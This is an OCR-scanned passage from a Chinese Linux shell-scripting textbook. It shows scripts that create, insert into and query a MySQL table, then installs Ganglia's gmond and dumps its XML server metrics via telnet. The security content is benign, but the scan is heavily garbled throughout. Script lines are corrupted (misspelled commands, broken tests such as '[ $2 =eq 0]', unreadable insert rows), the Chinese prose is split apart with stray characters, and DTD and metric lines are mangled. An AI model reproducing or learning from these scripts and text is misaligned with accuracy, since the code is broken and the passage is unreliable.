也 将 多 条 MySQL 命令 和 SQL 语句 提交 到 数据 库 服务 器 。create.sh 脚本 的 两 个 EOF 之 间 有 


两 条 命令 ，create table people 是 SQL 语句 ， 用 于 创建 名 为 people 的 表 ， 括 号 内 定义 了 people 


表 | 
篇 








和 











的 属性 及 其 类 型 ，show tables 是 MySQL 命令 ， 用 于 显示 当前 数据 库 的 所 有 表 名 称 。 限 了 
高 ， 本 书 在 此 不 介绍 关于 SQL 语言 、MySQL 命令 的 详细 用 法 ， 读 者 可 以 自行 参考 关系 数 
































据 库 方 面 的 书籍 。 下 面 给 出 create.sh 脚本 的 执行 结果 : 





例 17-11 create.sh 脚本 的 执行 结 
root@zawu MySQL-instance]# chmod ut+x Create .sh 
root@zawu MySQL-instance]# ./create.sh 








Enter password: # 在 此 输入 密码 
开本 ES 
People # 新 建 的 people 表 


root@zawu MySQL-instance]t+# 


create.sh 脚本 执行 完毕 后 , test 数据 库 中 出 现 people 表 , 这 说 明 create.sh 脚本 创建 people 




















表 成 功 。 下 面 再 给 出 一 个 脚本 ,， 用 于 向 people 表 中 插入 数据 ， 脚 本 名 为 insert.sh， 内 容 如 下 : 




















例 17-12: insert .sh 脚本 用 于 向 people 表 中 插入 数据 
/n/a 








MYSQL= which mysqgl. 


STR 












































na ee 
侍 请 元 外 化 清远 见 教育 集团 官网 : www. hqyj. com 
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# 与 create .sh 脚本 的 区 别 在 于 SoL 语句 的 不 同 

# 向 People 表 插 入 6 条 记录 ， 记 录 间 用 喜 号 隔 开 ， 最 后 以 分 号 结束 

WSITIEOESSEEEVYaUSS (NO SSG SN) 
(OG en 

(Ma 

(BD Ma nm S20 "nlna ry, 

(eo 

全 











Park ae m2 LATO=-TO2L 7 "Korea yy 

rua Wn S02 20 ai 

select * from people; # 显 示 people 表 中 的 所 有 数据 
EOF 


insert.sh 脚本 的 结构 与 create.sh 脚本 一 样 , 两 者 区 别 仅 在 于 两 个 EOF 之 间 的 SQL 语句 不 
insert into people values 是 SQL 语句 ， 它 问 people 表 插 入 6 条 记录 ， 记 录 间 用 逗号 隅 开 ， 
以 分 号 结束 ; select * from people 表示 将 people 表 中 的 所 有 数据 选 出 ， 即 显示 people 表 









































的 











于 


一 














所 有 数据 。 下 面 给 出 insert.sh 脚本 的 执行 结果 : 
# 例 17-12 insert.sh 脚本 的 执行 结果 


[root@zawu MySQL-instance]# chmod u+x insert.sh 




















[root@zawu MySQL-instance]# ./insert.sh 

Enter password: 

name sex ia ela # 属 性 名 称 

加 m 1982-09-11 全 # 新 插入 的 6 条 记录 
Q 在 L940 China 

TMa m ileal=07=17 USA 
[BY EL m E92 09 Ea Shimne 
J m 

2 

[ 








Park nO > Korea 
eam BBS=02 20 HongKong 
root@zawu MySQL-instance]t# 


insert.sh 脚本 执行 结果 显示 的 是 select 语 句 的 结果 ， 这 表示 insert.sh 脚本 插入 记录 成 功 。 
insert.sh 脚本 不 够 灵活 ， 我 们 能 否 编写 将 脚本 输入 参数 插入 people 表 的 脚本 呢 ? 答案 是 





























Ti 
月 丰 





的 ， 请 看 下 面 的 insert2:sh 脚本 : 


# 例 17-13: insert2 .sh 脚本 演示 按照 name sex birth pbirthagddr 的 顺序 插入 记录 
#!/bin/bash 

















MYSQL= ` which mysql. 








i ne # 输 入 参数 不 能 少 于 4 个 
then 

echo "Usage:insert2.sh name sex birth birthaddr" 
else 

tensnt— rinserermeo poo ee 1 A # 生 成 SoL 语句 
$MYSQL test =u mysql -=p <<EOF 
$statement # 有 灵活 的 用 法 ! 
EOF 

if [ $2 =eq 0] # 判 定 退 出 码 是 否 正常 
then 

echo "Data sucessfully added." 
else 


echo "Problem adding data" 
i 
EE 二 


insert2.sh 脚本 能 按照 name、sex、birth、birthaddr 的 顺序 插入 记录 ， 首 先 ，insert2.sh 脚本 判 























断 是 否 有 四 个 输入 参数 ， 若 输入 参数 不 为 四 个 ， 输 出 “Usage: insert2.sh name sex birth birthaddr” 
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的 提示 信息 ; 车 输入 参数 是 四 个 , 则 生成 SQL 语句 , 保存 于 statement 变量 中 。 然后 , 将 statement 
变量 放 到 两 个 EOF 之 间 ， 从 而 提交 到 MySQL 数据 库 。 最 后，insert2.sh 脚本 通过 对 退出 码 是 否 


为 零 的 判定 ， 判 断 插 入 数据 是 否 成 功 。 下 面 给 日 





例 17-13 insert2.sh 脚本 的 执行 结果 


Enter password: 
Data sucessfully added. 











root@zawu MySQL-instance]t+# 


上 面 给 出 insert2.sh 脚本 执行 正确 和 错误 的 情况 ，insert2.sh 脚本 带 




















root@zawu MySQL-instance]# chmod ut 
root@zawu MySQL-instance]# ./insert2.sh Jane f 1986-07-09 Canada # 插 入 正确 的 记录 


root@zawu MySQL-instance]# ./insert2.sh Bob m China 
ysagesinsert2 snnamemser oe liaelere 


























时 例 17-13 中 insert2.sh 脚本 的 执行 结 








数 只 有 三 个 的 情况 











个 输入 参数 时 ， 能 成 








功 地 将 数据 插入 到 people 表 ; 当 insert2.sh 脚本 只 有 三 个 时 ， 操 作 不 成 功 ，Shell 提示 错误 信息 。 





Shell 脚本 能 对 数据 库 记 录 做 灵活 的 处 理 ,比如 , 我 们 需要 





HH people 表 中 所 有 女人 的 














姓名 和 出 生地 ， 就 可 以 结合 MySQL 数据 库 操作 、 管 道 和 awk 命令 来 实现 。 下 面 的 female.sh 





脚本 实现 了 这 一 功能 : 


# 例 17-14: female. sh 脚本 打印 出 people 表 中 所 有 女人 的 妇 


#!/bin/bash 


MYSQOL= ` which mysql. 





# 生 成 SQL 语句 ， 用 于 选择 出 女性 的 记录 





statement="select * from people where sex="'f"';»" 


$MYSQL test -u mysgql -p -e "$statement" 


We wh et: 


| awk -EF":" '{printf ("%-8s\t%s\n",$1,$4)}! 


female.sh 脚本 用 于 打印 出 people 表 中 所 有 女人 的 妈 
成 的 SQL 语句 ， 该 语句 用 于 选择 出 女 怕 
里 没有 用 Here-document 的 方法 ， 而 是 利用 mysql 
需要 用 引号 引起 来 。 由 于 people 中 人 的 姓名 有 的 
如 : Jane，awk 将 空格 和 Tab 键 都 认为 是 分 上 
地 的 域 。 我 们 用 tr 命令 对 记录 做 简单 处 到 
































# 用 -e 选项 将 statement 提交 到 MySQL 
# 将 Tab 键 奉 换 成 冒号 

# 格 式 化 打印 第 1 域 和 第 4 域 

FE 地, statement 变量 保存 了 4 
FE 的 记录 ; 然后 ， 我 们 将 statement 提交 到 MySQL， 这 
的 -e 选项 。 值 得 


FE 意 的 是 ，statement 变量 


两 个 单词 ， 如 : Q Cai， 有 的 是 一 个 单词 ， 





















































| 


下 

















住 以 指定 到 姓名 和 出 生 























EE， 即将 Tab 键 蔡 换 成 冒号 ，awk 命令 以 冒号 为 域 分 


隔 符 , 然后 利用 printf 语句 格式 化 打印 第 1 域 和 第 4 域 . 下 面 给 出 female.sh 脚本 的 执行 结果 : 





# 例 17-14 female .sh 脚本 的 执行 结果 


[root@zawu MySQL-instancel]# chmod utx female .sn 
[root@zawu MySQL-instance]# ./female.sh 


Enter password: 


name nrensaar 
Qe China 
Jane Canada 


[root@zawu MySQL-instance]t# 


female.sh 脚本 正确 输出 两 位 女 怕 




















站 
| 








的 姓名 和 出 











female.sh 脚本 对 数据 的 处 理 方式 将 数据 库 操 作 和 Shell 文本 处 型 








处 理 数据 库 提 供 了 一 条 途径 。 








对 数据 库 的 操作 多 种 多 样 ， 但 Shell 脚本 的 编写 方式 都 是 类 人 















































两 位 女性 的 姓名 和 出 生地 





生地 ， 而 且 name 域 长 度 为 8， 左 对 齐 。 
E 相 结合 ， 这 为 Shell 脚本 灵活 








以 的 ， 不 同 之 处 仅 在 于 提交 








官网 : www. hqyj. com 
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到 MySQL 数据 库 的 SQL 语 名 不同。 对 于 不 同 的 数据 库 而 言 , Shell 脚本 的 区 别 在 于 登录 数据 
库 的 命令 ， 以 及 提交 SQL 语句 的 方式 。 希 望 读者 通过 本 节 的 学 习 能 举一反三 ， 不 仅 学 会 
MySQL 数据 库 的 其 他 操作 方式 ， 而 且 学 会 编写 针对 其 他 数据 库 系统 的 Shell 脚本 。 


Linux 服务 器 性 能 监控 系统 站 


Linux 服务 器 性 能 监控 就 是 在 网 络 环境 下 为 管理 系统 及 终端 用 户 提 供 性 能 参数 信息 、 服 
务 器 状态 等 ， 所 收集 到 的 性 能 参数 可 以 为 管理 系统 制定 决策 、 分 配 和 调度 资源 等 提供 依据 ， 
并 利于 第 一 时 间 发 现 服务 器 故障 ， 及 时 恢复 调整 服务 器 系统 。 长 期 对 服务 器 性 能 进行 监控 所 
获得 的 数据 ， 可 以 用 来 分 析 服 务 器 性 能 的 瓶颈 、 观 察 用 户 的 行为 ， 有 助 于 优化 服务 器 配置 和 
部 署 。 鉴 于 此 ， 国际 上 许多 大 学 、 著 名 IT 公司 、 高 性 能 计算 中 心 等 部 门 都 越 来 越 重视 服务 器 
的 性 能 监控 ， 普 遍 在 部 门 的 服务 器 上 部 署 了 监控 软件 ， 并 提供 给 用 户 图 形 化 的 访问 界面 。 因 
此 ， 如 何 监 控 Linux 服务 器 性 能 、 监 控 其 哪些 性 能 参数 、 如 何 及 时 更 新 这 些 性 能 参数 及 以 何 
种 形式 展示 给 用 户 都 是 必须 要 考虑 的 重要 问题 。 服 务 器 性 能 监控 的 研究 逐渐 成 为 人 们 关注 的 
研究 领域 ， 设 计 和 开发 完善 、 稳 定 、 实 用 的 商用 性 能 监控 系统 也 必 将 成 为 颇具 市 场 潜 力 的 软 
件 产品 。 

在 Linux 系统 中 ， 可 以 用 uname、sysinfo、vmstat、netstat、ps、top 等 Shell 命令 查看 特 
定 的 系统 信息 ， 但 它们 都 仅仅 为 本 地 用 户 提 供 系 统 的 性 能 信息 ， 不 支持 以 XML 等 Web 数据 
库 格 式 显 示 这 些 性 能 信息 ， 而 且 也 不 支持 远程 用 户 的 获取 和 访问 。 

本 节 介 绍 结合 使 用 Ganglia、 Shell 编程 和 MySQL 数据 库 实 现 分 布 式 Linux 服务 器 性 能 监 
控 系 统 ， 该 系统 能 在 广 域 范围 内 可 扩展 ， 能 包容 异 构 资源 ， 并 能 在 命名 和 安全 方面 与 其 他 的 
成 熟 中 间 件 集成 。 


17.6.1 ”Ganglia 简介 及 安装 


Ganglia 是 一 种 可 扩展 的 分 布 式 监控 系统 ,主要 用 于 监控 各 种 网 络 服务 器 、 集 群 系统 等 高 
性 能 计算 机 系统 。Ganglia 是 由 加 利 福 尼 亚 伯 克利 分 校 开发 的 开源 软件 , 最 初 由 美国 的 NPACI 
和 自然 基金 (NSF ) 资 助 , 目标 是 为 国家 普 适 计算 基础 设施 网 格 所 建立 的 动态 监控 软件 .Ganglia 
监控 系统 由 两 个 守护 进程 Daemon): 客户 端 Ganglia Monitoring Daemon (gmond) 和 服务 端 
Ganglia Meta Daemon (gmetad)， 以 及 Ganglia PHP Web Frontend (基于 Web 的 动态 访问 方式 ) 
组 成 。gmond 模块 运行 于 所 有 需要 被 监视 的 节点 上 , 负责 收集 本 节点 的 CPU 负载 、 内 存 用 量 、 
磁盘 空间 等 系统 信息 。 

由 于 Ganglia 的 gmond 进程 可 以 方便 地 收集 各 节点 的 资源 信息 ， 国 际 上 许多 大 学 、 车 名 
IT 公司 、 高 性 能 计算 中 心 所 开发 的 监控 系统 大 都 基于 gmond 进程 开发 。 比 如 ， 网 站 
http://monitor.millennium.berkeley.edu 即 为 加 利 福 尼 亚 伯 克利 分 校 的 监控 系统 , 图 17-3 显示 了 
它 以 图 形 化 的 形式 展示 给 终端 用 户 服务 器 的 性 能 参数 ， 它 利用 Ganglia 的 gmond 进程 获得 
CPU 和 存储 方面 的 性 能 ， 并 以 图 形 化 的 Web 界面 清晰 地 展示 了 过 去 一 小 时 内 的 CPU 负载 和 
内 存 负载 情况 。 这 种 网 络 服务 器 的 监控 模式 不 仅 可 以 方便 地 监控 本 部 门 的 网 络 服 务 器 的 工作 
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情况 ， 而 且 方 便 了 终端 用 








户 对 本 部 门 网 络 服务 器 的 了 解 ， 








相信 会 越 来 越 流行 。 






































Ganglia:: UC Berkeley Grid Report - Microsoft Internet Explorer El x 
文件 (编辑 () ”查看 (W 收 总 ) 工具 (D 六 助 (4 于 
四 和 凶 "国门 国 押 | 万 四 丙 娠 x 因 | 瑟 -全 ED 动 把 
地 址 {D) | 佑 http:/iaangia ,milennium.berkeley,edu/ 了 | 园 痢 
ou a 路 是 ， - 加- .Ma . | 
Google | 加 旺 - 晶 - 昌 | 有 

Ganglia UC Berkeley Grid Report for Sat, 08 May 2010 22:57:00 -0700 Get Fresh Data | 
Last [hour | Sorted [descending ~ 
sourtrforge net 
UC Berkeley Grid > |-Choose a Source 人 





UC Berkeley Grid (9 sources) evm 


CPUs Total 862 
Hosts up 138 
Hosts dowr: 9 





CPUs Total 150 
Hosts up 37 
Hosts dowm 4 














那么 ，gmond 进程 具 








组 : 
操作 系统 信息 和 交换 区 信 
表 17-2 gmond 所 收集 

参数 名 称 








Uc Berkeley Grid Load Last hour 





Uc Berkeley Grid Memory last hour 


as 267 
so | : 
2 | i 
& :er nh 民 
esxl on 
3 VE 22:o 22:20 22:40 
00 JE 国 Menory Used 。 图 Menory Shared 加 Menory Cached 
22:00 22:20 22:40 Menory Buffered Memory Swapped 
日 1-min Load 国 Nodes 国 cCPUs 国 Running Processes Total In-Core Menory 
RAD Lab Opteron Cluster Load last hour RAD Lab Opteron Cluster Memory last hour 
1.4kf 
3 200 6 
sg Lok| 由 
去 osk| 总 loes 
三 e6k 
5 04k 
本 22: 00 so 2 
ee 国 Memory Used 。 国 Menory shared 。 国 Memory Cached 
22:0 22:40 Menory Buffered y Svapped 
日 1-min Load 国 Nodes 国 cCPUs 图 Running Processes 国 Totat In-Core Menory 


17-3 ”UC Berkeley 的 监控 系统 








体 可 以 获取 哪些 性 能 参数 呢 ? 它 所 收集 的 必 








CPU 信息 、 人 磁 稻 信息 、 过 去 一 段 时 间 内 的 平均 负载 、 机 器 类 型 、 








县 。 主 要 参数 及 对 应 的 描述 如 表 17-2 所 示 。 


的 主要 性 能 参数 及 描述 


FE 能 参数 大 概 可 以 分 为 8 
内 存 信息 、 网 络 信息 、 











cpu idle 


闲 CPU 百分比 














cpu_num 

















实际 上 是 CPU 核 的 数 

















cpu_speed 








主 频 ， 单 位 为 MHz 





disk_ free 





disk _ total 





的 磁盘 空间 





load fifteen 


种 内 的 CPU 平均 负载 





load five 





为 的 CPU 平均 负载 





load_one 























的 CPU 平均 负载 





machine_type 


机 器 类 型 ， 一 般 为 又 86 64 





mem buffers 


缓冲 区 内 存 的 大 小 





mem_ cached 


Cache 的 大 小 





mem free 


总 的 物理 内 存 大 小 





mem_ shared 


总 的 虚拟 内 存 大 小 





mem total 





总 的 内 存 大 小 ， 物 理 内 存 加 上 虚拟 内 存 





mtu 





网 络 最 大 的 传输 包 的 长 度 ， 单 位 是 Byte 





0s_name 


操作 系统 名 字 











华 清 远 
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参数 名 称 
Os_release 操作 系统 的 发 行 版 本 


swap_free 空闲 的 交换 区 的 空间 














swap_total 总 的 交换 区 空间 





为 了 获取 Linux 服务 器 的 性 能 参数 ， 我 们 需要 在 每 台 待 监控 的 Linux 服务 器 上 安装 
Ganglia， 并 局 动 smond 进程 。 在 此 以 ganglia-3.0.3.tar.gz 安装 包 为 例 介 绍 Ganglia 的 安装 和 局 





























动 过 程 ; 
# 例 17-15: Ganglia 的 安装 
Moocenelab lo ea Zeamolna SH0m Sa # 将 安装 包 解 压缩 ， 生 成 安装 目录 











ganglia-3.0.3/ 
ganolie S30 aclecade md 
ganglla S00 /eonrouvre 
ganglia-3.0.3/COPYING 




















Leeoctemselab loealN eae le 0 # 切 换 到 安装 目录 
[seote se canglile SO /oontiodre # 配 置 安装 包 
eneekano or BD Conmaele se sr nm ee 

checking whether bulld environment is Sane eyes 

eneeking foryoawke gs 人 

checking whether make sets $(MAKE)... yes 

[root@jselab ganglia-3.0.3]# make # 编 译 安 装 包 


make all-recursive 

makel :Eneering deetorv /use/loeal/ ng la S30 
Male Tnee od ng 

[root@jselab ganglia-3.0.3]# make install # 安 装 Ganglia 
Man 

make[1]: Entering directory ‘/usr/local/ganglia-3.0.3/1ib"' 





makelel :enterine directory /use/local anelie S30 /i 


例 17-15 中 Ganglia 安装 包 是 源码 结构 , 一 般 源 码 结构 的 安装 过 程 分 为 : 配置 一 编译 一 安 
装 ， 即 连续 执行 configure、make、make install 三 条 命令 。Ganglia 安装 完毕 后 ， 就 可 以 启动 
Ganglia 的 组 件 gmond 了 ， 并 利用 gmond 进程 获得 服务 器 的 各 个 性 能 参数 。 事 实 上 ，Ganglia 
包括 很 多 组 件 , 包 括 客户 端 Ganglia Monitoring Daemon (gmond)、 服 务 端 Ganglia Meta Daemon 
(gmetad) 和 Ganglia PHP Web Frontend (基于 Web 的 动态 访问 方式 )。 本 章 仅 使 用 到 gmond 组 
牛 ， 有 关 其 他 组 件 的 功能 ， 读 者 可 以 参考 Ganglia 官方 网 站 的 相关 介绍 。 

gmond 入 口 程 序 被 默认 安装 在 了 /msrsbin 目录 下 ， 因 此 ， 直 接 输入 gmond 就 可 以 启动 
gmond 进程 了 , 由 于 gmond 进程 是 在 TCP 的 8649 端口 侦 听 .下 面 的 例 17-16 给 出 启动 gmond 
和 查看 其 进程 的 命令 : 

# 例 17-16: 启动 和 查看 gmond 
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[root@jselab ganglia-3.0.3]# gmond # 启 动 gmond 进程 
[root@jselab ganglia-3.0.3]# netstat -apl | grep 8649 # 查 看 gmond 进程 
Ce 0 oN*:8649 8 TSTENONN L828 emonel 
de 0 om23352300 S49 We 18287/gmond 
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表示 Ganglia 安装 


17.6.2 ”提取 服务 器 性 能 参 


使 用 Telnet 协议 可 以 获得 Ganglia 所 收集 的 
到 与 本 服务 器 在 同一 网 段 的 所 有 服务 器 性 


能 提取 出 
Ganglia 所 监控 的 服务 器 性 能 参 
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udp 0 0°210 
[rxoot@Jjselab ganglia= 


从 例 17-16 的 netstat 分 








telnet localhost 8649 





Ganglia 所 产生 的 性 能 参数 名 称 及 其 数据 是 以 XML 格式 的 文件 
将 telnet localhost 8649 命令 的 结果 重 定 向 到 文本 文件 , 然后 利用 Shell 编程 强大 的 文本 处 理 
能 参数 名 称 及 其 数据 。 下 面 的 例 17-17 演示 了 获取 


root@jselab local] 
BGSeTLaR oceanl 
LH 
| 











32186082 


XML 文件 中 存储 os 


3.0. 引 
命令 的 结果 提 























I 








参数 的 命 








以 看 出 ，gmond 已 经 
动 正常，gmond 启动 正常 。 


数 名 称 及 数据 


# 例 17-17: 获取 Ganglia 有 
属 服 务 器 性 能 参数 名 称 及 其 数据 可 


定向 到 gmond msg 1.txt 文件 


























性 能 参数 ， 一 般 只 
能 参数 名 称 及 其 数据 : 


数 








四 ES 本 2 人 SETAEBTISRRDEEEZS LinomG 








始 侦 听 ， 进 程 号 是 18287， 











存储 的 ， 因 此 ， 我 们 可 





这 


要 使 用 下 列 命令 ， 即 可 得 


以 





telneenloealneseee40 omeondimsogn ls Exe 
Gat omenenmmson i EE 














# 

[ 

[ 

PD Ee eane le 
# 因 而 ， 提 取 性 能 参数 时 可 以 
ie M2 oro oe le ee 
Connected to localhos 








Escape character Ts 











以 忽略 这 段 信 息 


Go eaueloman 
霹 


( 


现 的 系统 信息 ， 与 具体 性 能 参数 无 关 


2 0 


< ?xml version="1.0" encoding="1ISO-8859-1" standalone="yes"?> 


<!DOCTYPE GANGLIA XML 


<!ELEMENT GANGLIA XML 



































[ 














(ERTLDIEEUSLERIHOSL) 















































< NTTLEST GANGLIA XML VERSION CDATA #REQUIRED> 
<!ATTLIST GANGLIA XML SOURCE CDATA #REQUIRED> 
<lELEMENT GRID (CLUSTER | GRED | HOSTS | METRECSY*> 
<!IATTLIST GRID NAME CDATA #REQUIRED> 
<!ATTLIST GRID AUTHORITY CDATA #REQUIRED> 
<!ATTLIST GRID LOCALTIME CDATA #IMPLIED> 
< lLEMENT CLUSTER (HOST | HOSTS | METRECSY* 
<!IATTLIST CLUSTER NAME CDATA #REQUIRED> 
<!IATTLIST CLUSTER OWNER CDATA #IMPLIED> 
<!IATTLIST CLUSTER LATLONG CDATA #IMPLIED> 
<1ATTLIST CLUSTER URL CDATA #IMPLIED> 
<!IATTLIST CLUSTER LOCALTIME CDATA #REQUIRED> 
<!lELEMENT HOST (METRIC)*> 
<!IATTLIST HOST NAME CDATA #REQUIRED> 
<!ATTLIST HOST IP CDATA #REQUIRED> 
<!IATTLIST HOST LOCATION CDATA [MPLIED> 
<!ATTLIST HOST REPORTED CDATA #REQUIRED> 
<!ATTLIST HOST TN CDATA #IMPLIED> 
<!IATTLIST HOST TMAX CDATA #IMPLIED> 
<!IATTLIST HOST DMAX CDATA #IMPLIED> 
TPEST HOSTE GMOND STARTED CDATA #IMPLIED> 
<1ELEMENT METRIC EMPTY> 
<!lATTLIST METRIC NAME CDATA #REQUIRED> 
<!lATTLIST METRIC VAL CDATA #REQUIRED> 
< AU eee Eee uantle | dint32 | atnts 
sa 
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float | double | timestamp) #REQUIRED> 
<lATTLIST METRIC UNTTS CDATA #1TMPLIED> 
<!IATTLIST METRIC TN CDATA #IMPLIED> 
<!IATTLIST METRIC TMAX CDATA #IMPLIED> 
<!IATTLIST METRIC DMAX CDATA #IMPLIED> 
<!IATTLIST METRIC SLOPE (zero | positive | negative | both | unspecified) #IMPLIED> 
< AT Tr METRIC SOURCE (gmond | gmetric) #REQUIRED> 
<IELEMENT HOSTS EMPTY> 
<!ATTLIST HOSTS UP CDATA #REQUIRED> 
<!IATTLIST HOSTS DOWN CDATA #REQUIRED> 
<IRTSTROSTSESOURCR (ameneanamete ne ametad ReoULRED> 
<1IELEMENT METRICS EMPTY> 
<!IATTLIST METRICS NAME CDATA #REQUIRED> 
<!ATTLIST METRICS SUM CDATA #REQUIRED> 
<!IATTLIST METRICS NUM CDATA #REQUIRED> 
< A hs I Me renalinver | ua | omnes | beauele | waanele | me se | aas 


本 
CD 
2 























| float | double | timestamp) #REQUIRED> 
<!ATTLIST METRICS UNITS CDATA #IMPLIED> 
<!IATTLIST METRICS SLOPE (zero | positive | negative | both | unspecified) #IMPLIED> 
< SMEmRIGS SoUReeNeamonan em en FREOUIREDS 
攻 








AN 0RSTONE S00 SO0REE onene > 

<CLUSTER NAME="unspecified" LOCALTIME="1228044276" OWNER="unspecified" LATLONG= 
"unspecified" URL="unspecified"> 

# 下 面 开始 出 现 组 播 网 段 内 所 有 服务 器 的 性 能 参数 名 称 及 其 数据 
# 因 而 ， 需 要 从 下 列 格式 的 数据 中 提取 出 有 用 的 信息 
<HOST NAME="seugrid2.seu.edu.cn" IP="172.18.12.178" REPORTED="1228044273" TN="2" 
TMAX="20™" DMAX="0" LOCATION="unspecified" EMONDES TARTED= 1225350735 > 










































































<METRIC NAME="disk total" VAL="25.618" TYPE="double" UNITS="GB" TN="3138" TMAX="1200" 
DMAX="0" SLOPE="both" SOURCE="gmond"/> 

<METRIC NAME="cpu speed" VAL="2992" TYPE="uint32" UNITS="MHz" TN="734" TMAX="1200" 
DMAX="0" SLOPE="zero" SOURCE="gmond"/> 


DMAX="0" SLOPE="both" SOURCE="gmond"/> 
<METRIC NAME="swap total" VAL="1048568" TYPE="uint32" UNITS="KB" TN="734" TMAX="1200" 
DMAX=uO SEOPE zero SOUuRCE mcna 
<METRIC NAME="os name" VAL="Linux" TYPE="string" UNITS="" TN="734" TMAX="1200" DMAX="0" 
SEOPES Zn our omeonen 全 
<METRIC NAME="cpu user" VAL="1.4" TYPE="float" UNITS="%" TN="6" TMAX="90" DMAX="0" 
SBOPE en em 
<METRIC NAME="cpu system" VAL="0.9" TYPE="float" UNITS="%" TN="6" TMAX="90" DMAX="0" 
SEOPES En mn 
<METRIC NAME="cpu aidle" VAL="99.0" TYPE="float" UNITS="%" TN="6" TMAX="3800" DMAX="0" 
SLOPE Won OU vemond> 
<METRIC NAME="load five" VAL="0.01" TYPE="float" UNITS="" TN="67" TMAX="325" DMAX="0" 
SLOPE UBoOEh SOUReE Vemeondn> 
<METRIC NAME="proc run" VAL="1" TYPE="uint32" UNITS="" TN="67" TMAX="950" DMAX="0" 
SLOPE VBE OURep vemond> 
<METRIC NAME="mem free" VAL="265616" TYPE="uint32" UNITS="KB" TN="20" TMAX="180" 
DMAX="0" SLOPE="both" SOURCE="gmond"/> 
<METRIC NAME="mem buffers" VAL="131836" TYPE="uint32" UNITS="KB" TN="20" TMAX="180" 
DMAX="0" SLOPE="both" SOURCE="gmond"/> 
R 
S 
R 


R 
S 
R 
8 
<METRIC NAME="part max used" VAL="72.6" TYPE="float" UNITS="" TN="0" TMAX="180" 
人 
R 
和 
R 














<MEMRICINAME swat ee VA BOLeA4O YEE vm EES= REVIN 20 TVA T8000 
DMAX="0" SLOPE="both" SOURCE="gmond"/> 
<METRIC NAME="bytes in™" VAL="2833.20" TYPE="float" UNITS="bytes/sec™" TN="260" 
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TMAX="300" DMAX="0" SLOPE="both" SOURCE="gmond"/> 


<ME 了 
TMAX="30 
<ME 了 
SLOPE="z 


RIC® NAME "Sktsdout” VvAL IOR3S2 TYpE "float, UNITS "packets/see” TN—"260" 


0™ DMAX="0" SLOPE="both" SOURCE="gmond"/> 


RTCINAME CO VA EE i US EUS EN /SA EM 0 DMAX Eo 


ero" SOURCE="gmond"/> 











<METRIC NREC VAL="7.075" TYPE="dqouble" UNITS="GB" TN="0" TMAX="180" 
DMAX="0" SLOPE="both" SOURCE="gmond"/> 

<METRIC ES SEE VAL="1938436" TYPE="uint32" UNITS="KB" TN="734" TMAX="1200" 
DMAX="0" SLOPE="zero" SOURCE="gmond"/> 

<METRIC NAME="cpu wio™ VAL="0.1" TYPE="float™" UNITS="%" TN="6" TMAX="90" DMAX="0" 
SLOPE="both" SOURCE="gmond"/> 

<METRIC NAME="boottime" VAL="1225157553" TYPE="uint32" UNITS="s" TN="734"™ TMAX="1200"™ 
DMAX="0" SLOPE="zero" SOURCE="gmond"/> 

<METRIC NANME meentneey es VAE X86 LIYEh Strino UNITESS ”TN ”734 TMAX— T1200" 
DMAX="0" SLOPE="zero" SOURCE="gmond"/> 

<METRIC NAME os Weleases VATL— 2 0918 0 2/1/98 Ee6xen TYEep Str NTIS RN /SA 
TMAX="1200™" DMAX="0" SLOPE="zero" SOURCE="gmond"/> 

<METRIC NAME— cougrnies, VAL="0.0™" TYPE="float" UNITS="%" TN="6" TMAX="90™" DMAX="0" 
SLOPE="both" SOURCE="gmond"/> 

<METRIC NAME courale, VAL="97.7" TYPE="float" UNITS="%" TN="6" TMAX="90" DMAX="0" 
SLOPE="both" SOURCE="gmond"/> 

<METRIC NaME loademey VAL="0.03" TYPE="float" UNITS="" TN="67"™" TMAX="70" DMAX="0" 
SLOPE="both" SOURCE="gmond"/> 

<METRIC NREC 本 全 Se 和 VAL="0.00" TYPE="float" UNITS=""” TN="67" TMAX="950" 
DMAX="0" SLOPE="both" SOURCE="gmond"/> 

<METRIC NAME eee oo VAL="348"™ TYPE="uint32" UNITS="" TN="67" TMAX="950"™" DMAX="0" 
SLOPE="both" SOURCE="gmond"/> 

<METRIC NAME="mem shared™ VAL="0"™ TYPE="uint32" UNITS="KB" TN="20"™ TMAX="180"™" DMAX="0" 
SLOPE="both" SOURCE="gmond"/> 

<METRIC NaNME nmmeeeneey VAL="596232™" TYPE="uint32" UNITS="KB" TN="20™ TMAX="180" 
DMAX="0" SLOPE="both" SOURCE="gmond"/> 

<METRIC NAME="gexec" VAL="OFF" TYPE="string" UNITS="" TN="118" TMAX="300" DMAX="0"™ 
SLOPE "Zero" SOURCE "amonaw/> 

SMES AME eS oa UNIRS My ees/seer LN 2 
TMAX="300" DMAX="0" SLOPE="both" SOURCE="gmond"/> 











<METRIC NAME="pkts in™" VAL="13.50" TYPE="float" UNITS="packets/sec" TN="260™ 
TMAX="300" DMAX="0" SLOPE="both" SOURCE="gmond"/> 

< /OBL 

<HOST NAME="seugridl.seu.edu.cn" IP="172.18.12.181" REPORTED="1228044269" TN="7" 


BMA 20 DMAX 0 IiOCALION Unspeceelso evoNDESLARLED i2256458> 


寺 


内 容 类 似 于 172 .18.12.178， 限 于 篇 幅 ， 省 略 
ES 
<HOST NAME="seugrid5.seu.edu.cn" IP="172.18.12.177" REPORTED="1228044267" TN="8" 























EMAX— 20 .DMAX—、 0 IOCADION unspeecrmeo eMeNDE STAREED 27253420 0 > 





# 内 容 类 似 于 172.18.12.178， 限 于 税则 ， 省 咯 
































=</WHOSD> 

</CLUSTER> 
</GANGLIA XML> 
[root@jselab locall]# 


例 17-17 首先 将 服务 器 性 能 参数 名 称 及 其 数据 重 定向 到 gmond_msg_1.txt 文件 ， 然 后 碍 
看 gmond msg 1.txt 文件 内 容 ，gmond msg _ 1.txt 文件 很 长 ，<HOST> 标 签 之 前 是 Ganglia 出 


















































现 的 系统 信息 ， 不 包含 性 能 参数 相关 的 有 用 信息 ;从 <HOST> 标 签 开 始 保存 了 组 播 网 段 内 所 
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有 服务 器 的 性 能 参数 名 称 及 其 数据 ， 每 组 <HOST></HOST> 标 签 对 内 是 一 台 服 务 器 的 性 能 参 
数 名 称 及 其 数据 ， 其 格式 都 相同 ， 只 是 其 中 的 数据 不 一 样 。 限 于 篇 幅 ， 例 17-17 中 只 完整 地 给 
出 了 一 台 服 务 器 的 性 能 参数 名 称 及 其 数据 ， 每 组 数据 以 <HOST> 标 签 开 始 ，<HOST> 标 签 内 首 
先 给 出 该 台 服 务 器 的 主机 名 和 卫 地 址 ， 如 : NAME="seugrid2.seu.edu.cn" IP="172.18.12.178"， 

性 能 参数 以 <METRIC> 开 头 ， 包 含 了 某 性 能 参数 的 名 称 、 值 、 单 位 等 信息 ， 如 : <METRIC 
